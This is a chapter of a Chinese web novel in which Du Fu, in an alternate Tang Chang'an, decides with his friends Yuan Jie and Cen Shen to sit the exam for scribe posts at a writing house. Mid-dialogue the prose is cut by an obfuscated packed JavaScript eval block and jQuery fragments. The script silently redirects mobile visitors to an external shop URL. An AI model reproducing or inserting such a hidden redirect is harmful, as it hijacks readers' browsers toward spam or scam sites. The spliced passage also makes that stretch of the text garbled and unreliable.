从慈恩寺塔回来后，杜甫的生活陷入了一片寂静。
郑虔还未归，小院整日空荡荡的。晨起读书，午后临帖，夜里对着烛火出神，这样的日子过了三五日，他便觉得身上快要长出青苔来。长安城依旧热闹，只是那热闹隔着坊墙，与他无关。
这日晌午，他对着案头空白的诗笺枯坐了半个时辰，终于搁下笔，起身出了门。
没有目的地，脚步却自有主张。等他回过神来，人已站在了沽文馆那熟悉的青灰砖墙外。
元结的屋子门半掩着，里面传来“沙沙”的书写声和轻微的翻阅纸页的响动。杜甫在门口略站了站，抬手叩门。
“次山？”
“子美兄？快请进！”元结的声音从一堆卷册后传来，带着惊喜，旋即又转为歉意，“唉，你瞧我这儿乱的……自己找地方坐，我这儿马上就好！”
屋内比杜甫上次来时更显拥挤，靠窗的书案几乎被埋没，高高摞起的文稿、散落的素纸札子、大大小小贴着标签的拓影晶板，还有好几枚不同制式的诗牌，都在争夺着有限的空间。
元结就陷在这片“废墟”中央，只露出一个束发的头顶和快速移动的笔杆。他穿着一件葛布短衫，袖子挽到手肘，正对照着左手边一份拓影在稿纸上疾书，那专注的神情与西市桃树下那个茫然问花的书生判若两人。
杜甫无声地笑了笑，小心避开地上几叠用石块压住的纸张，走到屋内唯一一张还算空着的矮榻边坐下。
他目光静静扫过这间斗室，墙上除了那幅《坊市笔规训》，又多了一幅手绘的简易长安坊市图，上面用朱笔圈点勾画了许多记号。窗台上那盆不知名的绿草倒是被照顾得很好，绿意葱茏。
约莫过了两刻钟，元结才长舒一口气，将笔搁下，用力揉了揉发僵的脖颈，抬头看见安静坐在一旁的杜甫，他脸上立刻浮起真切的笑容：
“子美兄，久等了！实在是……馆里派下来的急活，几位大人府上都要得急。”他一边说，一边手忙脚乱地想整理一下案头，给杜甫倒水，却发现水壶已空，更觉窘迫。
“你看我这……你来了，我本该陪你说话，反倒……反倒让你干坐着，看我忙这些琐碎。”
杜甫摆摆手，温言道：“无妨，看你忙碌，倒是好事，总强似我这般终日无所事事，虚掷光阴。”
他说得平淡，元结却听出了话里那极力掩饰的空茫。
“子美兄……”元结想安慰，但又觉得此刻任何安慰都苍白。他心思转得快，看着杜甫沉静的侧脸，一个念头冒了出来，犹豫再三，还是试探着开口：
“子美兄，你如今……既暂无他事，有没有想过……也来沽文馆试试？”
杜甫闻言，倏地抬眼看向他。
元结被那目光看得有些紧张，但话既出口，便索性说下去：“我知以子美兄大才，屈就于沽文馆实是明珠暗投，但……但怎么说，也算是个正经去处，有一份俸禄可拿，能解眼前之困。况且……”
他顿了顿，观察着杜甫的神色，继续道：“况且，馆中职司也分多种。似我这般做坊市笔，需得终日奔走街巷，风吹日晒地打探消息，是辛苦些。但馆内还有‘词客’一职，多是些文采斐然之士，为馆中承接的各类文书代笔。以子美兄京兆杜氏的家学渊源，应考词客必是游刃有余。那比起坊市笔，总要清贵安稳些。”
“京兆杜氏……”杜甫在心中默念着这四个字，嘴角扯起一个自嘲的弧度。
煊赫家世，此刻听来竟有些刺耳。那些放榜后的冷语，诗牌上“杜陵野客原形毕露”的讥嘲如潮水般再次涌上心头。
京兆杜氏的子弟，连进士科的门槛都迈不过去。
京兆杜氏的子弟，如今要靠为人代笔文书谋生。
京兆杜氏的子弟……
他垂下眼，看着自己掌心，那里有常年握笔留下的薄茧。这双手，写过《望岳》的豪情，写过《房兵曹胡马》的俊逸，也写过《驳艳闻》的激愤，写过慈恩塔诗的沉郁。
如今，或许真要用来写些别的了。
许久，他抬起眼，对元结轻轻点了下头：
“我……再想想。”
从元结处出来，杜甫的脚步不知不觉又转向了崇贤坊的瀚海诗社。
社内比往日冷清许多，高适常坐的位子空着，案头收拾得干净，只留着一册未读完的《卫公兵法》摊开放着。岑参倒是还在，正拿着一块软布，百无聊赖地擦拭他那把心爱的障刀，见杜甫进来，眼睛一亮。
“子美兄，你可算来了！这几日闷死我也！”他跳起来，把刀往鞘里一收，“达夫兄前日启程回陇右了，哥舒翰大帅那边催得急，这社里一下子空落落的。我本来也该回安西，只是还有些事未了，得多留些时日。”
“何事？”杜甫不免要问。
岑参眼珠转了转，嘿嘿一笑：“军机不可泄露！”
他故意说得神秘，倒冲淡了方才那一瞬的沉闷。
两人在堂内坐下，岑参拎来一壶酸梅饮，给杜甫倒了一大碗：“喝这个，解暑。这长安的夏天，真是一年比一年热。”
杜甫慢慢喝着酸甜的饮子，冰凉液体滑过喉咙，胸中那点郁气似乎散了些。他抬起眼，看向正咕咚咕咚灌饮子的岑参。
“二十七，你对沽文馆的词客……知道多少？”
岑参呛了一下，放下碗，抹了抹嘴：“词客？你怎么问起这个？”他随即恍然，“是元次山跟你提的？”
杜甫点头：“次山是一片好意，只是这‘词客’所为，若尽是替些达官贵人歌功颂德，写些浮华谀词，或是为豪强粉饰恶行……那杜某宁可去西市卖胡饼，也绝不肯为此等笔墨。”
“卖胡饼？可别！就你这身板，那胡饼炉子你都未必扛得动！”岑参连连摆手。
玩笑开过，他神色也正经起来，摩挲着下巴：“子美兄，你这话问对人了。我在安西军中时，常与驿站、后方文书打交道，没少见沽文馆词客的手笔。你说的那种专给权贵当笔杆子的，有。但词客里头，分门别类可多了。”
杜甫听得眼前一亮。
岑参掰着手指头数：“有专门代写家书的，军中多少弟兄大字不识一个，想念爹娘妻儿了，就凑点钱，去找驿馆里挂单的词客。那信写得规规矩矩，报喜不报忧，但情意是真真的。走沽文馆的通道递送，比托人带信还快还稳妥。我读过几封，文辞不算华丽，但看得人鼻子发酸。”
杜甫点头，心中暗暗记下。
“还有代人写状子的，坊间纠纷，田产借贷，庶民百姓不懂律法格式，就寻词客代笔。这个需得熟读律例，下笔严谨。我印象里做得好的词客，在百姓中声望颇高，等闲里正、胥吏都不敢轻易欺瞒。”
杜甫听着，眉头一蹙。对于律法，他只是略懂皮毛。若要写出能登得案台的诉状，恐怕要狠下功夫。
“另外，还有替商贾写契书、拟章程，替寺庙道观写碑文、抄经卷，甚至……替人说合，写些调解纷争的文书。总之，三教九流，只要需要动笔头又自己搞不定的，都可能找上词客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974829|214712||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
岑参说着，看向杜甫：“所以啊，子美兄，这沽文馆词客未必就是你想象中那般不堪。它像个……像个凭手艺吃饭的铺子，客人要什么，你就做什么活计。当然，接不接，怎么做，存乎一心。你若只想写家书、状子，不接那些阿谀文章，难道馆里还能绑着你的手写不成？”
他啜了口酸梅饮，润润嗓子，又补充道：“不过，无论你想做哪类词客，都得先通过馆中的统一考核。据说考核过了方能登记在册，领取牌符。至于日后具体承接何类文书，似乎馆内自有分派，也看个人选择与机缘，外界就难以尽知了。”
杜甫静静地听着，胸襟畅然许多。岑参的话像在他眼前推开了一扇未曾细想过的窗，词客……并非只有一条路。
“考核……难么？”他问。
“这我可说不准了，我又没考过。不过事在人为，以子美兄你这一手好字，满腹诗才，到时岂不是手到擒来？”岑参笑道，眼中充满对友人的信心。
这话说得直白，让杜甫心头微微一暖。
他低头笑了笑，轻声道：
“你说得对。事在人为。”
又过了几日，杜甫将岑参和元结约到了东市附近一家小酒馆。酒馆门脸寻常，隔壁是一家有名的点心铺子，新出炉的芝麻胡饼、蔗浆透花糍的甜香气味丝丝缕缕飘过来，混着酒馆里淡淡的酒曲味，让人莫名觉得愉悦，心里很踏实。
三人在靠窗的桌前坐下，店家是个五十来岁的妇人，手脚麻利地端来三碗浊酒，一碟卤豆干，一碟拌芹苗，又额外送了一小碟胡饼。
“三位郎君慢用，要添酒喊一声就成。”
元结打量着这朴素却干净的小店，笑道：“子美兄倒是会找地方，这比西市那些大酒楼清静多了。”
岑参已拈起一张胡饼，咬了一口，含糊道：“好吃！不比醉仙楼的差！”
杜甫笑了笑，端起酒碗，看着眼前二位挚友，沉吟片刻，开口道：“今日请二位来，是有一事相告，也有一事相求。”
元结和岑参对视一眼，都放下了手中的吃食。
“这几日，我将旧日诗文稿重新整理誊抄，分门别类，也算是对过往做个了结。也带着诗稿拜谒了几位长安城中的长辈故交，其中之一，便是韦济韦左丞。”
元结和岑复交换了一个眼神，韦济，正是沽文馆馆主韦述的兄长，官居尚书左丞，清要之位。杜甫此刻提及，用意不言自明。
“蒙诸位长辈指点，我对沽文馆词客考核之事也算略知一二了。”杜甫继续道，“考核三项，书法、谈判、临场赋诗，需得两项以上评为甲等，方算通过。而在此之前，需得馆中人士具名引荐。”
岑参和元结都坐直了身体，他们知道，重点来了。
杜甫端起面前的酒碗，双手捧起，碗中浊酒微漾。他的目光诚恳而郑重，依次看过元结，又看过岑参：
“杜子美不才，欲试此途。在此恳请二位，助我。”
“嗨！这还用说！”岑参一巴掌拍在桌上，震得碗碟轻响，满脸“早该如此”的兴奋，“子美兄你早该想通了！这事包在我和次山身上！”
元结也重重点头：“子美兄放心，引荐之事，我明日便去寻馆中主事办理。以兄之才学，必能高中……呃，必能通过。”他一时口快，用了科场旧语，连忙改口，自己也不好意思地笑了。
杜甫也笑了笑，举碗向前：
“多谢。”
三只陶碗碰在一起，不如玉杯清脆，自有铿锵之声。